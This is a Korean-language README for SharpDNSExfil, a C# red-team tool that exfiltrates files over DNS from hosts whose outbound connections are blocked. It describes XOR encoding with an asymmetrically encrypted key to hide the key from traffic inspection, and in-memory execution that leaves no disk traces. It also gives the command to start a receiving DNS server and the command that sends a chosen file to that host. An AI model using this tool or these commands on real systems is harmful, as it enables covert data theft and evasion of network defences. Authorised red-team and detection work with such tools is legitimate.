
C# 도구로, 제한된 아웃바운드 연결 환경에서 레드 팀 작전을 위해 설계된 XOR 및 비대칭 암호화를 사용하여 DNS를 통해 파일을 유출합니다.
SharpDNSExfil은 C#으로 작성된 유출 도구입니다. 주요 목표는 제한된 아웃바운드 연결에 대한 걱정 없이 디스크에 있는 파일을 유출하는 것입니다.
작업 중 블라인드 RCE를 얻었는데, 원격 머신에 방화벽 보호가 적용되어 아웃바운드 연결을 허용하지 않아 역방향 연결을 얻는 데 어려움을 겪었습니다. 좋은 점은 DNS 서버가 공개 도메인을 해석할 수 있고 DNS를 통해 저에게 도달할 수 있다는 점이었습니다. 하지만 여전히 역방향 셸을 얻을 수는 없었고, 작은 출력을 읽을 수는 있었지만 충분하지 않았습니다. 그래서 DNS만을 통해 프로세스를 자동화하고 모든 단계를 반복하는 아이디어를 생각해냈고, 마침내 작동하게 되었습니다!
_주의: 전체 프로세스는 사용자 정의 공개 DNS 서버에서만 테스트되었으며 실제 기업 환경에서는 완전히 테스트되지 않았습니다. 따라서 사용에 따른 책임은 본인에게 있습니다! _
모든 유출된 바이트는 무작위로 생성된 키로 XOR 처리됩니다. 키가 네트워크 수준에서 평문으로 전송될 것이라고 생각할 수 있습니다(Wireshark로 확인 가능). --encrypt 옵션을 사용하면 비대칭 암호화가 적용되어 하드코딩된 공개 키가 XOR 키를 암호화합니다. 로컬 머신(사용자)은 암호화된 형태의 키를 받게 되며, 파이썬 스크립트가 하드코딩된 개인 키로 자동으로 복호화합니다. 이후 전송되는 데이터는 XOR을 통해 원래 바이트로 복원됩니다. 그러므로 키 쌍을 항상 변경하시기 바랍니다.
| 암호화 전 | 암호화 후 |
|---|---|
![]() | ![]() |
dnsserver.py 파이썬 스크립트로 DNS 서버를 설정합니다. 옵션은 다음과 같습니다.python3 dnserver.py --udp --port 53 --host 192.168.0.102
SharpDNSExfil.exe --file C:\path\to\file --server 192.168.0.102
SharpDNSExfil의 단계와 프로세스는 모두 메모리 내에서 실행되며 디스크에 접촉하지 않아 작업 중 찌꺼기를 남기지 않습니다. SharpDNSExfil은 --verbose 옵션과 함께 백그라운드에서 수행하는 각 단계와 프로세스를 알려줍니다. 전송되는 각 바이트는 XOR로 인코딩되며, 키는 네트워크 트래픽에서 평문 키가 노출되지 않도록 비대칭 암호화로 추가 암호화됩니다. 각별히 주의하고 항상 기록을 남기며 클라이언트 자산에서 정리 작업을 수행하세요.